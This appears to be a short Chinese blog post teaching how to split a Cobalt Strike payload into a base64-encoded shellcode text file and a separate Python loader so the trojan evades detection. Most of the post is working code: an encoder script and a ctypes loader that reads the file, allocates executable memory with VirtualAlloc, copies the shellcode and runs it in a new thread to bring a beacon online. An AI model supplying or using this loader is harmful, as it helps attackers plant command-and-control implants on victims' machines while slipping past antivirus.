无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
wfsec2 小时前
区块链安全评估:守护数字世界的“安全密码”
安全·区块链
jianghx10246 小时前
Docker部署ES,开启安全认证并且设置账号密码(已运行中)
安全·elasticsearch·docker·es账号密码设置
w23617346016 小时前
Linux 服务器安全巡检与加固:从命令到实操(CentOS/Ubuntu 通用)
linux·服务器·安全·安全加固·安全巡检
星哥说事8 小时前
网络安全设备:入侵检测系统(IDS)、入侵防御系统(IPS)的配置与使用
网络·安全·web安全
李白你好8 小时前
一个Burp Suite插件,用于自动化检测图片上传功能中的XSS漏洞
安全·自动化·xss
橘子海全栈攻城狮11 小时前
【源码+文档+调试讲解】基于SpringBoot + Vue的知识产权管理系统 041
java·vue.js·人工智能·spring boot·后端·安全·spring
sln_155013 小时前
2025强网杯tradRE简单wp
安全·逆向·ctf
楠木s15 小时前
ctfshow pwn44
linux·服务器·网络·安全·网络攻击模型·二进制
wanhengidc17 小时前
服务器的安全性如何?
运维·服务器·安全·游戏·智能手机
newxtc18 小时前
【猿辅导-注册安全分析报告-无验证方式导致安全隐患】
开发语言·selenium·安全·yolo·安全爆破